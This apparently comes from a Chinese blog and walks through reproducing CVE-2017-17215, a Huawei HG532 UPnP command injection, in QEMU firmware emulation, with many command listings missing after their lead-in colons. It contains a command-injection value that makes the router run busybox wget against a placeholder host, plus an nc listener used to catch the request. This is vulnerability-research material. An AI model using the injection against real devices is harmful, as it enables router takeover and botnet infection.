通過CVE-2017-17215學習路由器漏洞分析,從入坑到放棄
1.基本信息:
2017/11/27,Check Point 軟體技術部門報告了一個華為 HG532 產品的遠程命令執行漏洞(CVE-2017-17215),Mirai的升級版變種中已經使用該漏洞。看起來是個很簡單的漏洞了,書上得來終覺淺,須知此事要躬行,復現和分析的過程中遇到很多坑,寫文記錄一下詳細步驟。
華為已經發了漏洞公告,固件已經升級到HG532eV100R001C02B017_upgrade_main.bin。從論壇里找到了帶漏洞版本件,HG532eV100R001C02B015_upgrade_main.bin。
分析環境是ubuntu 16.04.
先用binwalk 解壓一下:
根據 Check Point 的報告,漏洞點位於 UPnP 服務中,file命令看一下,可以看到upnp應該是跑在MIPS 32 位 大端架構系統
2.配置復現環境:
安裝 qemu:
安裝網路配置工具:
修改 ubuntu主機網路配置,將ubuntu主機系統中的網路介面配置文件 /etc/network/interfaces 修改為如下內容:
創建QEMU的網路介面啟動腳本(/etc/qemu-ifup)並保存為如下內容:
賦予文件/etc/qemu-ifup 可執行許可權:
重啟網路使所有的配置生效:
關閉ens33,啟動橋連網路br0
從https://people.debian.org/~aurel32/qemu/mips/下載對應的debian mips qemu鏡像
其他的帖子里有各種下載qemu鏡像的地址,試了幾個下載都不好用,各種坑
我下載的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
啟動qemu運行剛鏡像:
好的,假如一切順利,可以看到一個qemu虛擬機,用root/root登錄進去:
發現網路不通,ifconfig -a 看一下發現網路介面為eth1:
將nano /etc/network/interfaces 文件中的eth0改為eth1:
再用ifup eth1 將eth1啟起來,運氣好的話此時網路已經好了。
直接操作虛擬機顯然比較麻煩,在ubuntu上搞個SSH 連進來,ssh root@虛擬機ip
將之前解壓的固件包拷貝到虛擬機裡面:
scp -r ./squashfs-root root@虛擬機ip:/root/
完成搭建路由器固件運行的環境。
3.復現漏洞:
第一個問題是怎麼讓路由器里的服務啟起來,我們也不知道是哪個文件會去處理80埠過來的請求,先看下checkpoint報告里的payload
在固件文件夾下搜一下 ctrlt 和 DeviceUpgrade_1,並沒有文件名含有這2個詞語,再搜下包含這2個詞語的文件:
找到固件所在的位置,想直接執行下upnp這個文件,報錯,缺少相應的so文件造成。
chroot /root/squashfs-root /bin/sh來切換根目錄到路由器文件系統,執行成功:
可是發包過去仍然失敗,應該是並沒有啟動監聽服務
那找下埠37215
埠號只出現在mic文件內,看下文件內容:
看字元串像是一個跟網路服務相關的文件,試下運行一下:
看起來像是對了,
ubuntu上nc -vlp 80 監聽一下埠,跑一下exp,80埠收到路由器發來的wget 請求包。
4.簡單分析:
分析一下upnp中的關鍵代碼:
根據上面payload圖,newstatusurl這個節點值為 $(busybox wget -g xxxx ;xx;xx)
其中a0是拷貝的源字元串的地址,同時a0又是system 調用的第一個參數。所以最後會執行
如果看完整篇文章想上手試一下路由器漏洞的話,不要忘了當初你是為什麼放棄的.


TAG:瘋貓網路 |